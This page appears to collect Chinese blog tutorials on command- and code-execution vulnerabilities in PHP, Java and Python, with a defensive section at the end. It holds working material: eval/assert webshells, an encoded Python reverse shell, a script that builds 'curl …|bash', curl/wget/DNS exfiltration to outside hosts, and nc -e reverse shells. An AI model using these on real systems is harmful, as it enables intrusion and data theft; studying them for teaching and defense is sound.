精华内容
下载资源
问答
  • 当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。由于服务器端没有针对执行函数和对用户提交的内容进行过滤,所以产生了恶意命令。一道例题如下: 恶意命令的...

    一、命令执行漏洞

    当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,

    当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。由于服务器端没有针对执行函数和对用户提交的内容进行过滤,所以产生了恶意命令。一道例题如下:

     

     

    恶意命令的格式 

    command1&command2     两个命令同时执行,前面执行不成功后面也执行
    command1&&command2    只有前面命令执行成功,后面命令才继续执行
    command1;command2     不管前面命令执行成功没有,后面的命令继续执行(Linux)
    command1||command2    将一个命令的标准输出作为另外一个命令的标准输入。当第一条命令失败时,它仍然会执行第二条命令
    command1||command2    顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

    命令执行的常用函数:
    1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,
    函数原型如下:string system(string command, int&return_var)
    其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
     2. Exec:exec函数可以用来执行一个外部的应用程序
    string exec (string command, array&output, int &return_var)
    其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,
    return_var存放执行命令后的状态值。
     3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,
    当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,
    需要使用passthru函数来替代system与exec函数。
    Passthru函数原型如下:void passthru (string command, int&return_var)
    其中,command是要执行的命令,return_var存放执行命令后的状态值。
     4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:
    string shell_exec (string command)
    其中,command是要执行的命令。

    二、代码执行漏洞

    代码执行漏洞也叫代码注入漏洞,指用户通过浏览器 提交执行恶意脚本代码,执行恶意构造的脚本代码。例如我们最常见的一句话木马和文件上传等等。

    代码执行漏洞的利用,出现这些东西表面她可能是代码执行漏洞
    
    1、一句话木马
    
    ${@eval($_POST[1])}
    
    2、获取当前工作路径
    
    ${exit(print(getcwd()))}
    
    使用菜刀
    
    3、读文件
    
    ${exit(var_dump(file_get_contents($_POST[f])))}
    
    f=/etc/passwd
    
    使用post提交数值 f=/etc/passwd
    
    4、写webshell
    
    ${exit(var_dump(file_put_contents($_POST[f], $_POST[d])))}
    
    f=1.php&d=1111111
    
    同样使用post

    发现一篇好文: 



    (10条消息) 命令执行与代码执行漏洞_辰辰啊-CSDN博客_代码执行漏洞和命令执行漏洞

    展开全文
  • 详解命令执行漏洞

    千次阅读 2021-05-28 07:42:41
    详解命令执行漏洞漏洞描述漏洞原理漏洞危害漏洞产生的原因命令执行与代码执行的区别常见的危险函数命令执行的类型危险函数利用systempassthruexecshell_exec`(反引号)escapeshellarg/escapeshellcmdOS命令执行...

    漏洞描述

    命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一
    如PHP的命令执行漏洞主要是基于一些函数的参数过滤不足导致,可以执行命令的函数有system( )、exec( )、shell_exec( )、passthru( )、pcntl_execl( )、popen( )、proc_open( )等,当攻击者可以控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行攻击
    PHP执行命令是继承WebServer用户的权限,这个用户一般都有权限向Web目录写文件,可见该漏洞的危害性相当大

    漏洞原理

    应用程序有时需要调用一些执行系统命令的函数,如在PHP中,使用system、exec、shell_exec、passthru、popen、proc_popen等函数可以执行系统命令,当黑客能控制这些函数中的参数时,就可以将恶意的系统命令拼接到正常命令中,从而造成命令执行漏洞

    漏洞危害

    • 继承Web服务器程序的权限,去执行系统命令或读写文件
    • 反弹shell
    • 控制整个网站,甚至控制整个服务器

    漏洞产生的原因

    1. 没有对用户输入进行过滤或过滤不严
      例如,没有过滤&、&&、|、||等连接符
    2. 系统漏洞造成的命令执行
      bash破壳漏洞(CVE-2014-6271),该漏洞可以构造环境变量的值来执行具有攻击力的脚本代码,会影响到bash交互的多种应用,如http、ssh和dhcp等
    3. 调用的第三方组件存在代码执行漏洞
      例如:
      php(system()、shell_exec()、exec()、eval())
      JAVA中的命令执行漏洞(struts2/ElasticsearchGroovy等)
      ThinkPHP命令执行

    命令执行与代码执行的区别

    • 代码执行:执行效果完全依赖于语言本身
    • 命令执行:执行效果不受语言本身、命令本身的限制

    常见的危险函数

    1. php代码相关
      eval()
      assert()
      preg_replace
      call_user_func()
      call_user_func_array()
      create_function
      array_map()
    2. 系统命令执行相关
      system()
      passthru()
      exec()
      pcntl_exec()
      shell_exec()
      popen()
      proc_open()
      `(反单引号)
      ob_start()
    3. 特殊函数
      phpinfo()
      #这个文件里面包含了PHP的编译选项,启动的扩展、版本、服务器配置信息、环境变量、操作系统信息、path变量等非常重要的敏感配置信息
      symlink():
      #一般是在linux服务器上使用的,为一个目标建立一个连接,在读取这个链接所连接的文件的内容,并返回内容
      getenv
      #获取一个环境变量的值
      putenv($a)
      #添加$a到服务器环境变量,但环境变量仅存活于当前请求期间。 在请求结束时环境会恢复到初始状态

    命令执行的类型

    • 代码层过滤不严格
    • 系统的漏洞造成命令注入
    • 调用的第三方组件存在代码执行漏洞

    危险函数利用

    system

    在这里插入图片描述

    <?php
    highlight_file(__FILE__);
    
    if(isset($_REQUEST['url'])){
        $url = ($_REQUEST['url']);
        $b = system($url, $a);
        echo $a.PHP_EOL;
        echo $b.PHP_EOL;
    }
    ?>
    

    恶意代码执行
    ?url=dir

    在这里插入图片描述

    文件写入
    ?url=echo 1111 > flag.php

    在这里插入图片描述

    passthru

    在这里插入图片描述

    <?php
    highlight_file(__FILE__);
    
    if(isset($_REQUEST['url'])){
        $url = ($_REQUEST['url']);
        passthru($url,$a);
        echo $a.PHP_EOL;
    }
    ?>
    

    文件写入
    ?url=dir > 22.txt

    在这里插入图片描述

    exec

    在这里插入图片描述

    需要注意的一点exec要有echo才有回显
    
    <?php
    highlight_file(__FILE__);
    
    if(isset($_REQUEST['url'])){
        $url = ($_REQUEST['url']);
        echo exec($url);
    }
    ?>
    

    在这里插入图片描述
    在这里插入图片描述

    shell_exec

    在这里插入图片描述

    <?php
    highlight_file(__FILE__);
    
    if(isset($_REQUEST['url'])){
        $url = ($_REQUEST['url']);
        echo shell_exec($url);
    }
    ?>
    

    在这里插入图片描述
    在这里插入图片描述

    `(反引号)

    <?php
    highlight_file(__FILE__);
    
    if(isset($_REQUEST['url'])){
        $url = ($_REQUEST['url']);
        echo `$url`;
    }
    ?>
    

    在这里插入图片描述

    escapeshellarg/escapeshellcmd

    参考之前的文章:利用/绕过escapeshellarg/escapeshellcmd

    OS命令执行

    部分Web应用程序提供了一些命令执行的操作,例如,如果想测试 http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,例如管道连接符,就很有可能形成系统命令执行漏洞

    WINDOWS系统支持的管道符

    “|”:直接执行后面的语句
    例如:ping www.baidu.com|whoami

    在这里插入图片描述

    “||”:如果前面执行的语句执行出错,则执行后面的语句
    例如:png www.baidu.com||whoami

    在这里插入图片描述

    “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假
    例如:png www.baidu.com&whoami或者ping www.baidu.com&whoami

    在这里插入图片描述

    “&&”:如果前面的语句为真先执行第一个命令后执行第二个命令;为假则直接出错,也不执行后面的语句
    例如:ping www.baidu.com&&whoami png www.baidu.com&&whoami

    在这里插入图片描述

    LINUX系统支持的管道符

    “;”执行完前面的命令执行后面的

    在这里插入图片描述

    “|”:显示后面语句的执行结果

    在这里插入图片描述

    “||”:当前面的语句执行出错时,执行后面的语句

    在这里插入图片描述

    “&”:如果前面的语句为假,则直接指向后面的语句,前面的语句可真可假

    在这里插入图片描述

    “&&”:如果前面的语句为假则直接出错,也不执行后面的语句

    在这里插入图片描述

    Java

    这里之所以叫作Java 命令执行,是因为Java 体系非常庞大,其中包括:Java SE、Java EE、Java ME。而无论是分支还是框架,都是以Java SE 为基础的
    Java EE 之前被称为J2EE,Java EE 是在Java SE 的基础上构建的,它提供Web服务、组件模型、管理和通信API,可以用来实现企业级的面向服务体系结构(service-oriented architecture,SOA)和Web 2.0应用程序开发
    在Java SE 中,存在Runtime 类,在该类中提供了exec 方法用以在单独的进程中执行指定的字符串命令,像JSP、Servlet、 Struts、 Spring、 Hibernate 等技术一般执行外部程序都会调用此方法(或者使用ProcessBuilder类,但较少),下面以 Runtime类为例进行说明,模型代码如下:

    import java. io.InputStream;  //导包操作
    import java. io.InputStreamReader;
    import java. io.BufferedReader;
    public class RuntimeTest{
      public static void main (String args []) throws Exception{
        if (args.length==0) {
          System.exit(1);  //没有参数就退出
        }
        String command = args[0];
        Runtime run = Runtime.getRuntime();
        Process pro = run. exec(command);  //执行命令
        InputStreamReader in = new InputStreamReader(pro.getInputStream());
        BufferedReader buff = new BufferedReader(in);
        for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
          System.out.println(temp);  //输出结果
        }
      buff .close();
      in.close();
      }
    }
    

    上面的代码经过编译后可以执行命令操作,如: java RuntimeTest “whoami”,执行命令操作

    在这里插入图片描述

    Python

    代码执行

    exec(string)		# Python代码的动态执行
    eval(string)		# 返回表达式或代码对象的值
    execfile(string)	# 从一个文件中读取和执行Python脚本
    input(string)		# Python2.x 中 input() 相等于 eval(raw_input(prompt)) ,用来获取控制台的输入
    compile(string)		# 将源字符串编译为可执行对象
    

    命令执行

    system()		# 执行系统指令
    popen()			# popen()方法用于从一个命令打开一个管道
    subprocess.call # 执行由参数提供的命令
    spawn 			# 执行命令
    

    常见过滤绕过

    编码绕过

    如果命令注入的网站过滤了某些分割符,可以将分隔符编码后(url编码,base64等)绕过

    八进制绕过

    $(printf “\154\163”)//ls命令,这个编码后可以拼接

    //这里过滤了-.等符号,只允许0-9a-zA-Z">\\\$();
    echo$IFS$9$(printf$IFS$9"\163\75\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\163\157\143\153\145\164\50\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\101\106\137\111\116\105\124\54\137\137\151\155\160\157\162\164\137\137\50\42\163\157\143\153\145\164\42\51\56\123\117\103\113\137\123\124\122\105\101\115\51\73\163\56\143\157\156\156\145\143\164\50\50\42\64\67\56\61\60\60\56\61\62\60\56\61\62\63\42\54\62\63\63\63\51\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\60\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\61\51\73\137\137\151\155\160\157\162\164\137\137\50\42\157\163\42\51\56\144\165\160\62\50\163\56\146\151\154\145\156\157\50\51\54\62\51\73\160\75\137\137\151\155\160\157\162\164\137\137\50\42\163\165\142\160\162\157\143\145\163\163\42\51\56\143\141\154\154\50\133\42\57\142\151\156\57\142\141\163\150\42\54\42\55\151\42\135\51\73")>$(printf$IFS$9"\57")detect$(printf$IFS$9"\56")py
    echo 'python反弹shell的payload' > /detect.py
    
    from flask import Flask
    from flask import render_template,request
    import subprocess,re
    app = Flask(__name__)
    
    @app.route('/',methods=['GET'])
    def index():
        return render_template('index.html')
    
    @app.route('/run',methods=['POST'])
    def run():
        cmd = request.form.get("cmd")
        if re.search(r'''[^0-9a-zA-Z">\\\$();]''',cmd):
            return 'Hacker!'
        if re.search(r'''ping|wget|curl|bash|perl|python|php|kill|ps''',cmd):
            return 'Hacker!'
        p = subprocess.Popen(cmd,stderr=subprocess.STDOUT, stdout=subprocess.PIPE,shell=True,close_fds=True)
        try:
            (msg, errs) = p.communicate(timeout=5)
            return msg
        except Exception as e:
            return 'Error!'
    
    app.run(host='0.0.0.0',port='5000')
    

    在这里插入图片描述

    十六进制绕过

    echo "636174202F6574632F706173737764" | xxd -r -p|bash

    在这里插入图片描述

    十六进制字符序列

    值得注意的是,这种方法不适用于所有PHP函数,这种变量函数方法不能用于构造诸如echo、print、unset()、isset()、empty()、include、require等系统特殊函数,但可以使用包装函数来构造它们

    在这里插入图片描述

    空格过滤

    linux内置分隔符:${IFS},$IFS,$IFS$9

    在这里插入图片描述

    利用重定向符<>

    在这里插入图片描述

    >,+过滤

    对于 >,+ 等 符号的过滤 ,$PS2变量为>,$PS4变量则为+

    在这里插入图片描述

    关键词绕过

    • 通过拆分命令达到绕过的效果:a=l;b=s;$a$b
    • 空变量绕过:cat fl${x}ag cat tes$(z)t/flag
    • 控制环境变量绕过:
      先利用echo $PATH得到环境变量 => "/usr/local/….blablabla”
      接着利用echo ${#PATH}得到长度
      然后要哪个字符截取哪个字符就行
      ${PATH:0:1} => ‘/’
      ${PATH:1:1} => ‘u’
      ${PATH:0:4} => ‘/usr’
    • 空值绕过:cat fl""ag cat fl''ag cat "fl""ag"
    • 反斜杠绕过:ca\t flag l\s

    在这里插入图片描述
    在这里插入图片描述

    空变量

    $*和$@,$x(x 代表 1-9),${x}(x>=10):比如ca${21}t a.txt表示cat a.txt
    在没有传入参数的情况下,这些特殊字符默认为空,如下:

    • wh$1oami
    • who$@ami
    • whoa$*mi

    在这里插入图片描述

    花括号的用法

    在Linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令{cat,flag}

    在这里插入图片描述

    无回显的命令执行

    可以通过curl命令将命令的结果输出到访问的url中:

    curl www.rayi.vip/`whoami`
    

    在服务器日志中可看到:xx.xx.xx.xx - - [12/Aug/2019:10:32:10 +0800] "GET /root HTTP/1.1" 404 146 "-" "curl/7.58.0",这样,命令的回显就能在日志中看到了

    读文件命令

    ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sort|cut|xxd
    

    无回显的情况下wget带出:wget --post-file flag 47.100.120.123:2333

    长度绕过

    详细见P牛文章
    linux命令执行的时候可以使用反斜杠换行;bash脚本中同样适用上面的规则;可以用文件名加反斜杠构成命令,使用ls -t > o 将文件名输出到文件,使用bash o执行脚本

    在这里插入图片描述

    构造ls -t

    命令:>ls\\			#生成一个文件名为ls\的文件
    命令:ls>_			#为了确保ls -t 中ls在前面,所以要先使用ls>_将ls输入到文件_中
    命令:>\ \\			#生成ls -t之间的空格,一个文件名为 \的文件
    命令:>-t\\			#生成文件名为-t\的文件
    命令:>\>g			#生成文件名为>g的文件
    命令:ls>>_			#将所有的文件名写到文件_里
    命令:sh _			#由上至下按顺序执行由\拼接起来的ls -t命令,并将结果输入到文件g中
    
    import requests
    from time import sleep
    import urllib
    
    payload = [
        # generate `ls -t>g` file
        '>ls\\', 
        'ls>_', 
        '>\ \\', 
        '>-t\\', 
        '>\>g', 
        'ls>>_', 
        
        # generate `curl www.rayi.vip|bash` 
        # 注意文件名不能以.开头
        # 注意文件名不能有重复
        # 注意vps只能用index,因为文件名不能以/开头
        # 悲剧的是我的vps的ip正好有俩0.,只能用域名了
        '>sh\ ', 
        '>ba\\', 
        '>\|\\',
        '>p\\',
        '>vi\\',
        '>i.\\', 
        '>y\\',
        '>ra\\', 
        '>w.\\', 
        '>ww\\', 
        '>\ \\', 
        '>rl\\', 
        '>cu\\', 
        # exec
        'sh _', 
        #先执行ls -t>g
        'sh g'
       
    ]
    
    r = requests.get('http://url/?reset=1')
    for i in payload:
        assert len(i) <= 5 
        r = requests.get('http://url/?cmd=' + urllib.parse.quote(i) )
        print(i)
        sleep(1)
    

    get_defined_functions

    get_defined_functions系统函数会返回一个多维数组,该数组包含一个所有已定义函数(包括内部函数和用户定义函数)列表;内部函数可以通过$arr["internal"]来表示,用户定义的函数可以使用$arr["user"]来表示
    例如:php -r 'print_r(get_defined_functions()[internal]);'

    在这里插入图片描述

    以上就是在不使用系统函数的名称的情况下引用系统函数的另一种方式,如果我们筛选字符串"system",可以找出它的索引号,并利用这种方式使用它:php -r 'print_r(get_defined_functions()[internal]);' | grep 'system'

    在这里插入图片描述

    利用这种方式绕过WAF和代码中的安全过滤:
    在这里插入图片描述

    字符数组

    PHP中的每个字符串都可视为一个字符数组,并且可以通过语法$string[2]$string[-3]来引用单个字符,这同时也是另一种绕过安全规则的方法
    例如,仅仅使用字符串$a="elmsty/ ";,我就可以组成命令执行语句system("ls /tmp");(测试PHP版本>7.0)

    在这里插入图片描述

    引号逃逸

    在PHP中字符串并不总是伴随着引号我们可以主动声明它的类型,像例如$a = (string)foo;在这种情况下,变量$a就是字符串“foo”
    此外,还可以使用圆括号,如下图:

    在这里插入图片描述

    第一种绕过方式:使用(system)(ls);,但因为不能使用“system”这个字符串,所以我们可以用字符串连接,例如(sy.(st).em)(ls);

    在这里插入图片描述

    第二种绕过方式:使用变量$_GET,如果我发送这样一个请求?a=system&b=ls&code=$_GET[a]($_GET[b]);,在代码执行中$_GET[a]$_GET[b]会被systemls所替代,最终绕过引号的安全限制

    在这里插入图片描述

    DNSlog外带

    利用域名解析请求

    • 假设我们有个可控的二级域名,那么目标发出三级域名解析的时候,我们这边是能够拿到它的域名解析请求的,可以配合DNS请求进行命令执行的判断,这一般被称为dnslog
    • 要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现
    • 例:可以去ceye.io注册个账号,注册完后会给一个域名,如果有域名解析请求会有记录;如得到的域名是test.ceye.io,当有主机访问1111. test.ceye.io时,就会记录下来这个域名解析请求;其中1111可以替换成我们需要获取的信息;如:cat /data/secret/password.txt | while read exfil; do host $exfil.contextis.com 192.168.107.135; done

    在这里插入图片描述

    Wireshark抓包

    在这里插入图片描述

    反弹shell

    nc -L -p 9090-e cmd.exe (Windows)
    
    nc -l -p 9090-e /bin/bash (*nix)
    

    防范措施

    1. 在PHP下禁用高危系统函数
      找到php.ini,查找到disable_functions,添加禁用的函数名
    2. 参数的值尽量使用引号包括,并在拼接前调用addslashes进行转义
    3. 不执行外部的应用程序或命令
      尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容
    4. 使用escapeshellarg函数处理相关参数
      escapeshellarg函数会将用户引起参数或命令结束的字符进行转义,如单引号"’“会被转义为”\’",双引号“””会被转义为""",分号";“会被转义为”;",这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的
    5. 使用safe_mode_exec_dir指定可执行的文件路径
      将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录,并使用safe_mode_exec_dir指定这个可执行的文件路径;这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败
    展开全文
  • 命令执行漏洞

    2021-03-04 05:58:19
    命令执行漏洞:属于代码执行漏洞的范畴命令执行漏洞的原理:在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的...

    命令执行漏洞:

    属于代码执行漏洞的范畴

    命令执行漏洞的原理:

    在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

    command1|command2 直接执行后面的语句

    command1&command2 两个命令同时执行

    command1&&command2 只有前面命令执行成功,后面命令才继续执行

    command1;command2 不管前面命令执行成功没有,后面的命令继续执行

    command1||command2 顺序执行多条命令,当碰到执行正确的命令后将不执行后面的命令

    命令执行模型

    任何脚本语言都可以调用操作系统命令

    区别命令执行漏洞和代码执行漏洞:

    命令执行漏洞直接调用操作系统命令,而代码执行漏洞通过执行脚本来调用操作系统命令

    PHP命令执行

    执行外部应用程序的常用函数system()、shell_exec()、exec()、passthru()

    命令执行:

    如:

    ​$host = $argv[1];

    ​system("ping ".$host);//执行ping命令

    ?>

    使用PHP.EXE执行此文件

    注:使用PHP.EXE传递参数时,参数中如果有空格,一般在windows下使用双引号,Linux下使用单引号括起来,否则无法执行。

    代码执行

    eval()函数,可以动态的执行php代码,语句必须以分号结尾

    如:webshell中

    动态函数调用

    如:

    function A(){

    return "A()";

    }

    function B(){

    return "B()";

    }

    $fun = $_REQUEST['fun'];

    echo $fun();//调用动态函数

    ?>

    php解析器可以根据$fun的值来调用对应的函数,虽然方便,但是危险,当$fun 的值为phpinfo时$fun对应phpinfo()

    如:

    $fun = $_GET['fun'];

    $par = $_GET['par'];

    $fun($par);

    ?>

    当$fun为system,$par为net user 时,会执行函数system("net user")后果可想而知

    PHP函数代码执行漏洞

    常见的函数有preg_replace()、ob_start()、array_map()等函数

    如:

    $arr = $_GET['arr'];

    $array = array(1,2,3,4,5);

    $new_array = array_map($arr,$array);

    ?>

    array_map()函数的作用是返回用户自定义函数处理后的数组。

    Java命令执行

    Runtime类,该类中提供了exec方法用以在单独的进程中执行指定的字符命令。

    框架漏洞

    Java三大框架:Hibernate、Spring、Struts

    Struts2代码执行漏洞

    Thinkphp命令执行漏洞

    weblogic

    shiro

    laravel

    springboot

    展开全文
  • 目录原理命令执行漏洞原理代码执行漏洞原理命令执行与代码执行漏洞区别命令执行&代码执行漏洞危害命令执行无回显代码执行函数1- eval()2- assert()-最好不要加上分号作为结尾3- call_user_func()4- create_...

    原理

    更进一步的解释,请参见:

    MiscSecNotes
    命令执行漏洞和代码执行漏洞详解 一文了解命令执行漏洞和代码执行漏洞

    命令执行漏洞原理

    在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

    代码执行漏洞原理

    应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、shell_exec、passthru、popen、proc_popen等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行攻击,这就是命令执行漏洞。

    命令执行与代码执行漏洞区别

    命令执行漏洞是可以直接调用操作系统命令,代码执行漏洞是靠执行脚本代码调用操作系统命令

    命令执行&代码执行漏洞危害

    可以执行代码、系统命令进行读写文件、反弹shell等操作,拿下服务器,进一步内网渗透等等。

    命令执行无回显

    命令执行无回显的话,可以尝试下面三种方式

    1. 延时
    2. http请求
    3. DNS请求

    代码执行函数

    此处参考了@卿先生的文章
    https://www.cnblogs.com/-qing-/p/10819069.html

    主要有(9个):eval(),assert(),call_user_func(),create_function(),array_map(),call_user_func_array(),array_filter(),uasort(),preg_replace()

    1- eval()

    1. eval() 函数把字符串按照 PHP 代码来计算。
    2. 该字符串必须是合法的 PHP 代码,且必须以分号结尾。
    传入的参数必须为PHP代码,既需要以分号结尾。
        命令执行:cmd=system(whoami);
        菜刀连接密码:cmd
     
    <?php @eval($_POST['cmd']);?>
    

    在这里插入图片描述

    2- assert()-最好不要加上分号作为结尾

    assert函数是直接将传入的参数当成PHP代码直接,不需要以分号结尾(特别注意),有时加上分号不会显示结果

    命令执行:cmd=system(whoami)
    菜刀连接密码:cmd
     
    <?php @assert($_POST['cmd'])?>
    

    在这里插入图片描述

    3- call_user_func()

    把第一个参数作为回调函数调用
    在这里插入图片描述
    在这里插入图片描述

    4- create_function()

    创建匿名函数执行代码
    执行命令和上传文件参考eval函数(必须加分号)。
    <?php $func =create_function('',$_POST['cmd']);$func(); ?>
    

    方式1:

    <?php $func = create_function('',$_POST['cmd']);$func(); ?>
    

    在这里插入图片描述

    方式2:

    <?php
    $a= $_POST['func'];
    $b = create_function('$a',"echo $a");
    $b('');
    ?>
    //post:func=phpinfo();
    

    在这里插入图片描述

    5- array_map()

    array_map() 函数
    将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。
    回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。
        命令执行http://localhost/123.php?func=system   cmd=whoami
        菜刀连接http://localhost/123.php?func=assert   密码:cmd
    <?php
        $func=$_GET['func'];
        $cmd=$_POST['cmd'];
        $array[0]=$cmd;
        $new_array=array_map($func,$array);
        echo $new_array;
    ?>
    

    在这里插入图片描述

    6- call_user_func_array()

    将传入的参数作为数组的第一个值传递给assert函数
        cmd=system(whoami)
        菜刀连接密码:cmd
    <?php
        $cmd=$_POST['cmd'];
        $array[0]=$cmd;
        call_user_func_array("assert",$array);
    ?>
    

    在这里插入图片描述

    7- array_filter()

    用回调函数过滤数组中的元素:array_filter(数组,函数)
        命令执行func=system&cmd=whoami
        菜刀连接http://localhost/123.php?func=assert  密码cmd
    <?php
        $cmd=$_POST['cmd'];
        $array1=array($cmd);
        $func =$_GET['func'];
        array_filter($array1,$func);
    ?>
    

    在这里插入图片描述

    8- uasort()函数

    php环境>=<5.6才能用
    uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。
        命令执行:http://localhost/123.php?1=1+1&2=eval($_GET[cmd])&cmd=system(whoami);
        菜刀连接:http://localhost/123.php?1=1+1&2=eval($_POST[cmd])   密码:cmd
    <?php
        usort($_GET,'asse'.'rt');
    ?>
    

    在这里插入图片描述

    9- preg_replace()

    preg_replace('正则规则','替换字符','目标字符')
    执行命令和上传文件参考assert函数(不需要加分号)。
    将目标字符中符合正则规则的字符替换为替换字符,此时如果正则规则中使用/e修饰符,则存在代码执行漏洞。
    <?php
        preg_replace("/test/e",$_POST["cmd"],"jutst test");
    ?>
    这里可以使用chr()函数转换ASCII编码来执行代码。
     
    #phpinfo();
    eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))
    

    在这里插入图片描述
    在这里插入图片描述

    命令执行函数

    主要有(7个):system(),passthru(),exec(),pcntl_exec(),shell_exec(),popen()/proc_popen(),反引号 ``

    1- system()

    作用:将字符串作为OS命令执行,自带输出功能。

    <?php system($_GET["cmd"]);?>
    

    在这里插入图片描述

    这里还可以写入一句话木马:使用cmd下的echo命令,不能使用type
    (注意:这里type命令无法写入内容到文件中,只能创建一个空文件)

    2-passthru()

    作用:将字符串作为OS命令执行,不需要输出执行结果,且输出全部的内容。

    <?php @passthru($_GET["cmd"]);?>
    

    在这里插入图片描述

    3- exec()

    作用:将字符串作为OS命令执行,需要输出执行结果,且它只会输出最后一行的内容。

    <?php echo exec($_POST["cmd"]);?> 
    
    <?php print exec($_POST["cmd"]);?>    //他的输出结果需要打印,system()不用打印
    

    在这里插入图片描述

    在这里插入图片描述

    4- shell_exec()

    作用:将字符串作为OS命令执行,需要输出执行结果,且输出全部的内容。

    <?php echo shell_exec($_POST["cmd"]); ?>
    <?php print shell_exec($_POST["cmd"]); ?>
    

    在这里插入图片描述

    在这里插入图片描述

    5- popen()/proc_popen()

    作用:该函数也可以将字符串当作OS命令来执行,但是该函数返回的是文件指针而非命令执行结果。该函数有两个参数。

    linux: 
    <?php $handle = popen("/bin/ls","r");?>
      
    windows:
    <?php
    	$cmd = $_POST['cmd'].">> 1.txt";
    	//此时的$cmd=ipconfig >> 1.txt
    	popen("$cmd",'r'); //实际上就是 popen("ipconfig >> 1.txt", "r"),把执行结果放入1.txt文件,通过访问1.txt文件查看执行结果。
    ?>
    

    在这里插入图片描述

    在这里插入图片描述

    6- pcntl_exec()

    linux: <?php pcntl_exec("/bin/bash",array($_POST["cmd"])); ?>
    用的不多。暂时略过。

    7- 反引号 ``

    作用:[``]反引号里面的代码也会被当作OS命令来执行

    <?php echo `dir`?>
    
    或者:
    
    <?php $cmd = $_GET['cmd'];print `$cmd`; ?>
    

    在这里插入图片描述

    在这里插入图片描述

    命令执行绕过

    1. 空格过滤:${IFS}

    2. 黑名单绕过:a=c;b=at;c=fl;d=ag; a a ab c c cd

    3. 编码绕过: $(printf “\154\163”) ==>ls

       $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
        `echo "Y2F0IGZsYWc="|base64 -d`
      
    4. 通过单双引号绕过:ca‘’t flag/ ca””t flag

    5. 反斜杠绕过:c\at fl\ag

    6. 正则绕过: /???/?[a][t] ?’’?’’?’’?‘’

    7. 通过dns解析(无回显):ping whoami.****.ceye.io

    脑图

    在这里插入图片描述

    OS命令执行

    部分Web应用程序提供了一些命令执行的操作,例如,如果想测试 http://www.test.com 是否可以正常连接,那么web应用程序底层就很可能去调用系统操作命令,如果此处没有过滤好用户输入的数据,例如管道连接符,就很有可能形成系统命令执行漏洞。

    windows系统

    • |:前面为真,才执行后面

    在这里插入图片描述

    • ||:前面为假,后面才执行

    在这里插入图片描述

    • &:不论前面真假,后面都能执行

    png www.baidu.com&whoami
    ping www.baidu.com&whoami
    在这里插入图片描述

    • &&:前面为真,才执行后面的语句

    在这里插入图片描述

    linux系统

    • ;不论前面真假,后面一定执行

    在这里插入图片描述

    • |:不论前面真假,后面一定执行

    在这里插入图片描述

    • ||:当前面的语句执行出错时,执行后面的语句。

    在这里插入图片描述

    • “&”:前面的语句可真可假,后面的一定执行

    在这里插入图片描述

    • &&:前面的内容为真的情况下,才执行后面的内容

    在这里插入图片描述

    小结

    在这里插入图片描述

    靶机测试

    使用web for pentester进行测试,我们这里不研究攻击靶场的思路,如果你有兴趣,可以通过“参考”中给出的Web for Pentester 靶场学习记录进一步学习它。

    安装

    下载地址:https://download.vulnhub.com/pentesterlab/web_for_pentester_i386.iso
    像安装普通的linux系统那样安装即可,启动它后,即可直接进入,没有繁杂的操作系统安装过程。
    我们这里选择的是目录穿越,作为演示案例。
    在这里插入图片描述

    Example 1

    在这里插入图片描述

    逻辑或:

    http://192.168.239.134/commandexec/example1.php?ip=127.0.0.1|whoami
    

    在这里插入图片描述

    Example 2

    在这里插入图片描述

    这一关使用了 preg_match 正则检测我们输入的 ip ,如果 ip 不是 IP 格式的话就直接终止函数运行,但是这里使用了/m多行匹配模式,所以我们这里可以使用%0a换行,后面跟上自己的 payload 即可:

